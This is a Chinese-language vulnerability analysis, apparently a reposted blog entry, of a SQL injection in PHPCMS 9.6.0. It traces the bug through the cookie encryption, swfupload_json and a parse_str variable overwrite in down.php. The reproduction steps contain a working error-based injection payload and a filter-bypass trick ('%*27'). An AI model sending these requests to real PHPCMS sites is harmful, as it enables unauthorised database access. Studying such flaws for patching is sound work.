1. 程式人生 > 其它 >phpcms_v9.6.0 SQL注入漏洞分析

phpcms_v9.6.0 SQL注入漏洞分析

環境:

phpstudy本地搭建phpcms

apache2.4.39+php5.3.29+mysql8.0.12

漏洞影響版本:

PHPCMS 9.6.0

復現:

1、首先訪問/index.php?m=wap&c=inde&siteid=1獲取cookie

2、訪問/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28database%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26,傳送POST請求帶上第一步的加密完的siteid cookie值,從而獲取到一個加完密的json cookie值。

3、訪問/index.php?m=content&c=down&a_k=b950ZIHtm9CsnWsrCUMoaDBeQQFT95mtUi29q6xiqhx9TREJsEUi_Z7uvaXqqYkBx5Q870nZNYk8UHuLyXHpUfD3GJXTEKQD-4PV2NR_qXjXDawlHPhDPoton4kVePOsIQVpm_ji1r-YhME_bzI3W6euoPefahowKRsIh0yX7-YByj-bzEnKk4TNzTbE,a_k的值為第二步中加密的json cookie值

成功的執行了第二部中的報錯注入的程式碼,爆出了庫名

分析:

1、wap模組程式碼分析

 1     function __construct() {        
 2         $this->db = pc_base::load_model('content_model');
 3         $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
4 param::set_cookie('siteid',$this->siteid); 5 $this->wap_site = getcache('wap_site','wap'); 6 $this->types = getcache('wap_type','wap'); 7 $this->wap = $this->wap_site[$this->siteid]; 8 define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid); 9 if($this->wap['status']!=1) exit(L('wap_close_status')); 10 }

從$_GET中提取了siteid的值,並且交給param類中的靜態方法set_cookie。

2、跟進set_cookie方法

 1     public static function set_cookie($var, $value = '', $time = 0) {
 2         $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
 3         $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
 4         $var = pc_base::load_config('system','cookie_pre').$var;
 5         $_COOKIE[$var] = $value;
 6         if (is_array($value)) {
 7             foreach($value as $k=>$v) {
 8                 setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
 9             }
10         } else {
11             setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
12         }
13     }

通過第4行程式碼獲取cookie的變數名並在第11行通過sys_auth加密,從而獲取第一步的ftbOk_siteid值。

3、attachment模組程式碼分析

 1     public function swfupload_json() {
 2         $arr['aid'] = intval($_GET['aid']);
 3         $arr['src'] = safe_replace(trim($_GET['src']));
 4         $arr['filename'] = urlencode(safe_replace($_GET['filename']));
 5         $json_str = json_encode($arr);
 6         $att_arr_exist = param::get_cookie('att_json');
 7         $att_arr_exist_tmp = explode('||', $att_arr_exist);
 8         if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
 9             return true;
10         } else {
11             $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
12             param::set_cookie('att_json',$json_str);
13             return true;            
14         }
15     }

通過attachment模組中的attachments.php中的函式swfupload_json(),將獲取的aid、src、filename變數賦值然後通過json_encode函式進行json編碼,在第12行通過set_cookie對這裡我們傳入的變數的json編碼進行加密。

第二步中的%*27是繞過第3行safe_replace()函式中str_replace對%27的過濾,導致過濾了*而%27仍然保留

4、content模組down.php程式碼分析

 1     public function init() {
 2         echo "init<br/>";
 3         $a_k = trim($_GET['a_k']);
 4         if(!isset($a_k)) showmessage(L('illegal_parameters'));
 5         $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
 6         if(empty($a_k)) showmessage(L('illegal_parameters'));
 7         unset($i,$m,$f);
 8         parse_str($a_k);
 9         if(isset($i)) $i = $id = intval($i);
10         if(!isset($m)) showmessage(L('illegal_parameters'));
11         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
12         if(empty($f)) showmessage(L('url_invalid'));
13         $allow_visitor = 1;
14         $MODEL = getcache('model','commons');
15         $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
16         $this->db->table_name = $tablename.'_data';
17         $rs = $this->db->get_one(array('id'=>$id));    

down.php中的init()函式會自動呼叫,第5行對傳入的a_k進行一個解密,解密之後就又變成了json編碼的值

{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(database())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}

重點在於第8行的parse_str函式,只傳入了一個引數造成了$id的變數覆蓋,$id的值便變成了我們傳入的payload

而第17行就會對我們的傳入的注入命令執行,從而報錯,得到結果

最終執行語句:

SELECT * FROM `phpcmsv9_61`.`v9_download_data` WHERE `id` = '' and updatexml(1,concat(1,(database())),1)#' LIMIT 1

php中對parse_str()函式的使用